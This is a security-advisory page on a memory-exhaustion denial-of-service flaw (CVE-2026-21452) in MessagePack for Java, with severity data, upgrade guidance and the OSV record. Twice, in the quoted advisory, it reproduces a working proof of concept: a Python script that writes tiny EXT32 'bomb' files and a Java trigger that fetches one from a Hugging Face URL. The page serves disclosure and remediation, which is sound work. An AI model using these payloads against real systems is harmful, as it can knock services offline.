Vulnerabilities in pkg:maven/org.msgpack/msgpack-core

PACKAGE
Advisory Identifier: GHSA-cw39-r4h6-8j3x
Advisory Summary

CVE-2026-21452 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-789: Memory Allocation with Excessive Size Value) affecting Msgpack core libraries in the Maven ecosystem. The issue involves messagepack for java vulnerable to remote dos via malicious ext payload allocation. Remediation is available by upgrading affected packages to version 0.9.11.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/org.msgpack/msgpack-core

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/org.msgpack/msgpack-core. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-cw39-r4h6-8j3x CVE-2026-21452 HIGH MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation

CVE-2026-21452 at a Glance

CVE Identifier CVE-2026-21452
GHSA Identifier GHSA-cw39-r4h6-8j3x
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-789: Memory Allocation with Excessive Size Value
Affected Product Msgpack core
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-21452

To remediate this vulnerability, upgrade all affected Msgpack core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.msgpack:msgpack-core fixed: 0.9.11
<dependency>
    <groupId>org.msgpack</groupId>
    <artifactId>msgpack-core</artifactId>
    <version>0.9.11</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.msgpack

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-21452, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.msgpack

Analyze the terminal output to locate any version of Msgpack core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.11), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.msgpack command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-789: Memory Allocation with Excessive Size Value, where the product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. In Msgpack core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Affected Components: ``` org.msgpack.core.MessageUnpacker.readPayload() org.msgpack.core.MessageUnpacker.unpackValue() org.msgpack.value.ExtensionValue.getData() ``` A denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation. ### PoC ``` import msgpack import struct import os OUTPUT_DIR = "bombs" os.makedirs(OUTPUT_DIR, exist_ok=True) # EXT format: fixext / ext8 / ext16 / ext32 # ext32 allows attacker-controlled length (uint32) length = 1 step = 10_000_000 while True: try: # EXT32: 0xC9 | length (4 bytes) | type (1 byte) header = b'\xC9' + struct.pack(">I", length) + b'\x01' payload = b'A' # actual data tiny data = header + payload fname = f"{OUTPUT_DIR}/ext_length_{length}.msgpack" with open(fname, "wb") as f: f.write(data) print(f"[+] Generated EXT bomb with declared length={length}") length += step except Exception as e: print("[!] Stopped:", e) break ``` Download dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer ``` // Main.java import org.msgpack.core.MessagePack; import org.msgpack.core.MessageUnpacker; import org.msgpack.value.ExtensionValue; import java.nio.file.Files; import java.nio.file.Paths; public class Main { public static void main(String[] args) throws Exception { byte[] data = Files.readAllBytes( Paths.get("ext_length_470000001.msgpack") ); MessageUnpacker unpacker = MessagePack.newDefaultUnpacker(data); ExtensionValue ext = unpacker.unpackValue().asExtensionValue(); // Vulnerability trigger: byte[] payload = ext.getData(); System.out.println(payload.length); } } ``` Compile ``` javac -cp msgpack-core-0.9.8.jar Main.java ``` Run (with limited heap) ``` java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main ``` Observed Result: ``` Exception in thread "main" java.lang.OutOfMemoryError: Java heap space at org.msgpack.core.MessageUnpacker.readPayload(...) at org.msgpack.core.MessageUnpacker.unpackValue(...) ``` ``` var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack"); var d = u.openStream().readAllBytes(); var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d); up.unpackValue().asExtensionValue().getData(); ``` Run: ``` java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main ``` A remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer. ## Resolution This issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11 ### Impact This vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.

CVE-2026-21452 Affected Msgpack core Versions

1 component(s)
Fixed Versions:
0.9.11
Product / Package Ecosystem Affected Versions Fixed Version
org.msgpack:msgpack-core
Maven
< 0.9.11
0.9.11

References

Frequently Asked Questions

What is CVE-2026-21452?
CVE-2026-21452 is a security vulnerability in Msgpack core involving MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation under CWE-789: Memory Allocation with Excessive Size Value.
Which Msgpack core versions are affected?
Affected versions include releases prior to 0.9.11 across affected packages: org.msgpack:msgpack-core.
What version fixes CVE-2026-21452?
Upgrading to 0.9.11 (or the latest patched release for your respective branch) resolves the vulnerability.
Is msgpack-core affected?
Yes, org.msgpack:msgpack-core is affected in releases prior to 0.9.11. Upgrade your dependency to 0.9.11 or later.
What is the CVSS score of CVE-2026-21452?
CVE-2026-21452 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-21452?
CVE-2026-21452 is classified under CWE-789: Memory Allocation with Excessive Size Value (The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.).
How can I check Maven dependencies for CVE-2026-21452?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.msgpack'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cw39-r4h6-8j3x",
  "modified" : "2026-01-05T14:59:12Z",
  "published" : "2026-01-05T14:59:12Z",
  "aliases" : [ "CVE-2026-21452" ],
  "summary" : "MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation",
  "details" : "### Summary\nAffected Components:\n```\norg.msgpack.core.MessageUnpacker.readPayload()\norg.msgpack.core.MessageUnpacker.unpackValue()\norg.msgpack.value.ExtensionValue.getData()\n```\nA denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.\n\n### PoC\n```\nimport msgpack\nimport struct\nimport os\n\nOUTPUT_DIR = \"bombs\"\nos.makedirs(OUTPUT_DIR, exist_ok=True)\n\n# EXT format: fixext / ext8 / ext16 / ext32\n# ext32 allows attacker-controlled length (uint32)\n\nlength = 1\nstep = 10_000_000\n\nwhile True:\n    try:\n        # EXT32: 0xC9 | length (4 bytes) | type (1 byte)\n        header = b'\\xC9' + struct.pack(\">I\", length) + b'\\x01'\n        payload = b'A'   # actual data tiny\n\n        data = header + payload\n\n        fname = f\"{OUTPUT_DIR}/ext_length_{length}.msgpack\"\n        with open(fname, \"wb\") as f:\n            f.write(data)\n\n        print(f\"[+] Generated EXT bomb with declared length={length}\")\n        length += step\n\n    except Exception as e:\n        print(\"[!] Stopped:\", e)\n        break\n```\nDownload dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer\n```\n// Main.java\nimport org.msgpack.core.MessagePack;\nimport org.msgpack.core.MessageUnpacker;\nimport org.msgpack.value.ExtensionValue;\n\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\n\npublic class Main {\n    public static void main(String[] args) throws Exception {\n\n        byte[] data = Files.readAllBytes(\n            Paths.get(\"ext_length_470000001.msgpack\")\n        );\n\n        MessageUnpacker unpacker =\n            MessagePack.newDefaultUnpacker(data);\n\n        ExtensionValue ext =\n            unpacker.unpackValue().asExtensionValue();\n\n        // Vulnerability trigger:\n        byte[] payload = ext.getData();\n\n        System.out.println(payload.length);\n    }\n}\n\n```\nCompile\n```\njavac -cp msgpack-core-0.9.8.jar Main.java\n```\nRun (with limited heap)\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nObserved Result:\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Java heap space\n    at org.msgpack.core.MessageUnpacker.readPayload(...)\n    at org.msgpack.core.MessageUnpacker.unpackValue(...)\n```\n```\nvar u = new java.net.URL(\"https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack\");\nvar d = u.openStream().readAllBytes();\nvar up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);\nup.unpackValue().asExtensionValue().getData();\n```\nRun:\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nA remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.\n\n## Resolution \nThis issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11\n\n### Impact\nThis vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.msgpack:msgpack-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.11"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/msgpack/msgpack-java/security/advisories/GHSA-cw39-r4h6-8j3x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-21452"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/msgpack/msgpack-java"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-789" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-05T14:59:12Z",
    "nvd_published_at" : "2026-01-02T21:16:03Z"
  }
}